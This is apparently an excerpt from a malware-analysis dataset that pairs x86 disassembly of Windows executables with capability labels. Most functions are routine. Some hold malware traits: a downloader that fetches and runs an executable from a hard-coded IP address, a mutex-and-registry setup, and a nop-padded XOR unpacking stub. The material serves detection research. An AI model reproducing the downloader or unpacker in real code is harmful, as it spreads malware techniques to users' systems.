joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cb2a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5264c4
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [0x5640a8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi + 4], 0
mov dword [ebp - 4], 0
lea eax, [edi + 0x10]
mov dword [edi], vtable.CConnection.0
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
jb 0x4cb2f6
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
lea eax, [edi + 0x30]
push 0x1388
push eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSectionAndSpinCount]
lea eax, [edi + 0x48]
push 0x1388
push eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSectionAndSpinCount]
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov byte [ebp - 4], 4
push pe_nt_image_headers32
mov dword [edi + 0x28], 0
mov byte [edi + 0xc], 0
call fcn.004e1dfa
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.004b9760
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [edi + 0x6c], eax
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
mov dword [edi + 0x2c], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4cbc20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
jne 0x4cbca2
mov ecx, dword [esi + 0x6c]
test ecx, ecx
je 0x4cbca2
call fcn.004ba010
test eax, eax
je 0x4cbc46
push dword [ebp + 8]
mov ecx, eax
call fcn.004ba3c0
push ebx
push edi
lea ebx, [esi + 0x30]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov eax, dword [esi + 0x64]
sub eax, dword [esi + 0x60]
sar eax, 2
cmp eax, 5
jge 0x4cbc8a
cmp dword [esi + 0x28], eax
jne 0x4cbc8a
push 0
push 0
push esi
push 0x4cb6a0
push 0
push 0
call fcn.00500ca9
add esp, 0x18
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
lea ecx, [esi + 0x60]
push eax
call fcn.00406f80
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
push 0
push 1
push 0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.DLL_PostQueuedCompletionStatus]
pop edi
pop ebx
pop esi
pop ebp
ret 4

Function at 0x4ce233
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x4ce241
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
shr eax, 4
and eax, 1
pop ebp
ret

Function at 0x4ce291
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x4ce29f
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
pop ebp
ret
Function at 0x4cec2c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4cec52
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x4cec52
xor al, al
jmp 0x4cec66
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4cfd5c
Capabilities:
Create directory

Disassembly:
push 0x38
mov eax, 0x526c42
call fcn.004e262a
xor ebx, ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x4cfd7c
mov al, 1
jmp 0x4cfdc3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x4cfd8d
xor al, al
jmp 0x4cfdc3
lea ecx, [ebp - 0x44]
call fcn.004cfed3
lea ecx, [ebp - 0x1c]
call fcn.004cf437
push dword [ebp + 8]
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.004cff6b
test al, al
je 0x4cfdb8
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.004e22c5
pop ecx
mov al, bl
call fcn.004e25f3
ret

Function at 0x4cfe1d
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test eax, eax
setne al
pop ebp
ret

Function at 0x4d048a
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
pop ebp
ret

Function at 0x4e4f38
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret

Function at 0x51734a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0051700a
Function at 0x401132
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa34
mov eax, dword [0x451064]
xor eax, esp
mov dword [esp + 0xa30], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push str.screenshoter
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401175
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402580
mov esi, 0x208
lea eax, [esp + 0x420]
push esi
push ebx
push eax
call fcn.0041ea10
add esp, 0xc
lea eax, [esp + 0x420]
push str.SOFTWAREprtscreen
push eax
call fcn.004223ea
push esi
lea eax, [esp + 0x83c]
push ebx
push eax
call fcn.0041ea10
add esp, 0x14
lea eax, [esp + 0x830]
push str.Enabled
push eax
call fcn.004223ea
push esi
lea eax, [esp + 0x634]
push ebx
push eax
call fcn.0041ea10
add esp, 0x14
lea eax, [esp + 0x628]
push 0x449a78
push eax
call fcn.004223ea
pop ecx
pop ecx
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [esp + 0x43c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401236
push 4
lea eax, [esp + 0x62c]
push eax
push 1
push ebx
lea eax, [esp + 0x840]
push eax
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [esp + 0x10], ebx
je 0x401246
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
lea ecx, [esp + 0x18]
call fcn.004045bd
push 0x30
pop esi
push esi
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.0041ea10
add esp, 0xc
mov dword [esp + 0x38], esi
lea eax, [esp + 0x38]
mov dword [esp + 0x4c], edi
mov esi, 0x449a7c
mov dword [esp + 0x40], 0x401938
mov dword [esp + 0x60], esi
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push ebx
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov ebx, 0x3b8
mov esi, eax
push ebx
lea eax, [esp + 0x6c]
push 0
push eax
call fcn.0041ea10
add esp, 0xc
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov dword [esp + 0x78], 0x400
push 3
pop esi
push 0x85
push edi
mov dword [esp + 0x390], esi
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0x7c], eax
xor ebx, ebx
lea eax, [esp + 0x68]
mov dword [esp + 0x74], esi
push eax
push ebx
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x401309
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x4012f3
cmp dword [esp + 0x18], ebx
jne 0x401338
mov ecx, dword [esp + 0xa3c]
mov eax, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00407a97
mov esp, ebp
pop ebp
ret 0x10
call fcn.004223ae
int3
Function at 0x40133e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov ebx, dword [sym.imp.USER32.dll_LoadIconW]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x2c], 0x4019a9
push 0x84
push edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
call ebx
mov esi, dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f03
push edi
mov dword [ebp - 0x1c], eax
call esi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov edi, dword [sym.imp.USER32.dll_RegisterClassW]
push eax
mov dword [ebp - 0xc], str.SHARESCREEN
call edi
xor eax, eax
mov dword [ebp - 0x30], 3
push 0x84
push eax
mov dword [ebp - 0x2c], 0x401694
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
call ebx
push 0x7f03
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push ebx
call esi
push ebx
mov dword [ebp - 0x18], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], str.SHARESCREENL
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4c
call esi
push 0x4d
mov edi, eax
call esi
push 0x4e
mov ebx, eax
call esi
push 0x4f
mov dword [ebp - 8], eax
call esi
mov dword [ebp - 4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x80000000
push eax
push str.SHARESCREEN
push 0x80000a8
mov dword [0x454480], edi
mov dword [0x45447c], ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x40149f
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
push ebx
push 0x64
pop edi
push edi
push 1
push esi
call dword [sym.imp.USER32.dll_SetTimer]
push ebx
push ebx
push ebx
push esi
mov eax, 0x12c
push eax
push eax
push edi
push edi
push 0x80000000
push ebx
push str.SHARESCREENL
push 0x8080080
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 3
push edi
push 0xff
push eax
mov dword [0x454484], eax
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401534
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push edi
push 5
push dword [0x454484]
mov edi, edx
call esi
push dword [0x454484]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [ebp + 8], 0
je 0x401567
push 0
push dword [0x454484]
call esi
mov esi, edi
mov edi, 0x45446c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [0x454474]
mov edi, dword [0x45446c]
cmp edx, edi
jge 0x401594
mov eax, edi
mov edi, edx
mov edx, eax
mov dword [0x45446c], edi
mov dword [0x454474], edx
mov ecx, dword [0x454478]
mov esi, dword [0x454470]
cmp ecx, esi
jge 0x4015b6
mov eax, esi
mov esi, ecx
mov ecx, eax
mov dword [0x454470], esi
mov dword [0x454478], ecx
push 1
sub ecx, esi
sub edx, edi
inc ecx
inc edx
push ecx
push edx
push esi
push edi
push dword [0x454484]
call dword [sym.imp.USER32.dll_MoveWindow]
pop edi
pop esi
pop ebp
ret

Function at 0x401c78
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push edi
call fcn.00422a20
pop ecx
lea esi, [eax + 1]
lea edx, [esi + esi]
push edx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push edi
push esi
push eax
call fcn.00422b5c
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
pop ebx
ret

Function at 0x401cda
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
mov edi, ecx
push edi
call fcn.00422a20
lea esi, [eax + 1]
lea edx, [esi + esi]
push edx
call fcn.004229a6
push esi
push edi
mov ebx, eax
lea eax, [ebp - 4]
push esi
push ebx
push eax
call fcn.00422e46
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.0041ea10
add esp, 0x28
mov dword [ebp - 0x40], esi
lea eax, [ebp - 0x40]
mov dword [ebp - 0x34], str.open
mov dword [ebp - 0x30], ebx
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push ebx
call fcn.004229f1
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f05
Capabilities:
Create http request
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
mov eax, dword [0x451064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.ShareScreen
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x4020af
push ebx
push ebx
push ebx
push ebx
push str.http:__62.204.41.151_ScreenUpdateSync.exe
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x4020af
lea eax, [ebp - 0x418]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x210]
push str..exe
push eax
call fcn.004223ea
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x210]
mov dword [ebp - 0x81c], 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
je 0x40209e
push 0x400
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.0041ea10
add esp, 0xc
jmp 0x40200a
lea eax, [ebp - 0x81c]
push eax
push 0x400
lea eax, [ebp - 0x818]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0
lea eax, [ebp - 0x820]
push eax
push dword [ebp - 0x81c]
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x81c], 0
ja 0x401fd3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea ecx, [ebp - 0x210]
call fcn.00401e67
test eax, eax
je 0x40209e
push 0x3c
pop ecx
lea eax, [ebp - 0x85c]
xor edx, edx
mov byte [eax], dl
inc eax
sub ecx, 1
jne 0x402036
movaps xmm0, xmmword [0x44a090]
lea eax, [ebp - 0x210]
mov dword [ebp - 0x84c], eax
lea eax, [ebp - 0x85c]
push eax
mov dword [ebp - 0x85c], 0x3c
mov dword [ebp - 0x858], edx
mov dword [ebp - 0x854], edx
mov dword [ebp - 0x850], edx
movups xmmword [ebp - 0x848], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40209e
push 0x8000
push dword [ebp - 0x824]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x824]
call ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x4020b1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407a97
leave
ret
Function at 0x402a36
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x402a5d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403981
jmp 0x402b12
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x402a7f
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x402a81
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x402b06
jg 0x402a96
test esi, esi
je 0x402b06
test ecx, ecx
jl 0x402adf
jg 0x402aa0
test eax, eax
je 0x402adf
cmp edi, ecx
jg 0x402ab4
jl 0x402aaa
cmp esi, eax
jae 0x402ab4
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.0041eb70
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x402ae2
mov edx, dword [ebp + 8]
test edi, edi
jl 0x402b06
jg 0x402aec
test esi, esi
je 0x402b06
cmp dword [ebx + 0x4c], 0
je 0x402b06
push dword [ebx + 0x4c]
push esi
push 1
push edx
call fcn.0042458b
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402b1b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x402b42
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403a48
jmp 0x402c11
mov eax, dword [edi + 0x1c]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x402b64
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x402b66
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test ebx, ebx
jl 0x402c05
jg 0x402b83
test esi, esi
je 0x402c05
test ecx, ecx
jl 0x402bd0
jg 0x402b8d
test eax, eax
je 0x402bd0
cmp ebx, ecx
jg 0x402ba1
jl 0x402b97
cmp esi, eax
jae 0x402ba1
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ebx
push eax
push dword [esp + 0x18]
push dword [ebp + 8]
call fcn.0041eb70
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edi + 0x2c]
add edx, ecx
sub esi, ecx
mov dword [esp + 0xc], edx
sbb ebx, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x402bd7
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
test ebx, ebx
jl 0x402c05
jg 0x402be1
test esi, esi
je 0x402c05
cmp dword [edi + 0x4c], 0
je 0x402c05
mov ecx, edi
call fcn.00403fe5
push dword [edi + 0x4c]
push esi
push 1
push dword [esp + 0x18]
call fcn.0042277f
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402e93
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x451064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x402eb9
xor eax, eax
jmp 0x402f7e
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x402ee2
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x402ee2
dec dword [edx]
mov eax, ebx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
jmp 0x402f7e
cmp dword [esi + 0x4c], 0
je 0x402f7c
mov ecx, esi
call fcn.00403fe5
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x402f0f
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.004248a9
cmp eax, edi
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x402f7c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x402f7c
cmp eax, 1
jle 0x402f4b
cmp eax, 3
jne 0x402f7c
push dword [esi + 0x4c]
movsx ecx, byte [ebp - 0x25]
push ecx
jmp 0x402f01
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x402f6e
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call fcn.0042458b
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x402f7c
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x402f7e
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407a97
leave
ret 4

Function at 0x40406d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x451064]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x4040ef
cmp byte [esi + 0x3d], 0
je 0x4040ef
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4040c1
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4040c5
sub eax, 1
je 0x4040c9
dec eax
sub eax, 1
je 0x4040ef
xor al, al
jmp 0x4040f1
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4040e6
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0042458b
add esp, 0x10
cmp edi, eax
jne 0x4040c1
cmp byte [esi + 0x3d], 0
sete al
jmp 0x4040f1
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407a97
leave
ret

Function at 0x40a571
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x42b466
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042b2e5
Function at 0x4063fe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406422
xor eax, eax
test eax, eax
je 0x406434
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406434
xor ecx, ecx
jmp 0x406437
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406523
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232c4], 0
push esi
jne 0x40655a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406534
mov dword [ecx*4 + 0x4232c0], eax
inc ecx
cmp ecx, 0x100
jl 0x40652f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40658b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232c0]
xor eax, esi
inc ecx
dec edx
jne 0x40656d
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1d6470c
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x6f1f79b3
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219